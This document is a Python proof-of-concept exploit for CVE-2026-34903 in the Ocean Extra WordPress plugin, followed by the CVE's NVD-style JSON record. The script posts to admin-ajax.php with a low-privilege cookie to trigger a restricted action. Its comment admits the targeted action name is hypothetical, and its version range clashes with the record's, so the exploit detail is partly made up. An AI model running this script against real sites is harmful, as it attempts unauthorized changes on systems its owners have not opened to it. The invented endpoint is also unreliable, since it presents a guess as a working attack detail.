CVE-2026-34903

import requests # Exploit Title: Ocean Extra < 2.5.3 - Missing Authorization (PoC) # CVE: CVE-2026-34903 def exploit(target_url, cookie): """ Exploits the missing authorization vulnerability in Ocean Extra. Requires a valid low-privilege user session (cookie). """ # Target endpoint typically used by the plugin for sensitive actions # Note: The specific action name 'oceanwp_import_content' is hypothetical for this PoC # based on common plugin patterns, as specific endpoint details weren't provided. url = f"{target_url}/wp-admin/admin-ajax.php" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Payload data attempting to trigger a restricted action payload = { "action": "oceanwp_import_content", "security": "" # Nonce might be missing or checked weakly } # Include the low-privilege user's cookie cookies = { "wordpress_logged_in_*": cookie } try: response = requests.post(url, data=payload, headers=headers, cookies=cookies, timeout=10) if response.status_code == 200 and "success" in response.text: print("[+] Exploit successful! Unauthorized action performed.") print(f"[+] Response: {response.text[:100]}") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error: {e}") # Usage example # exploit("http://target-site.com", "low_priv_cookie_value")

{"cve": {"id": "CVE-2026-34903", "sourceIdentifier": "[email protected]", "published": "2026-04-07T09:16:21.520", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in OceanWP Ocean Extra allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ocean Extra: from n/a through 2.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/ocean-extra/vulnerability/wordpress-ocean-extra-plugin-2-5-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}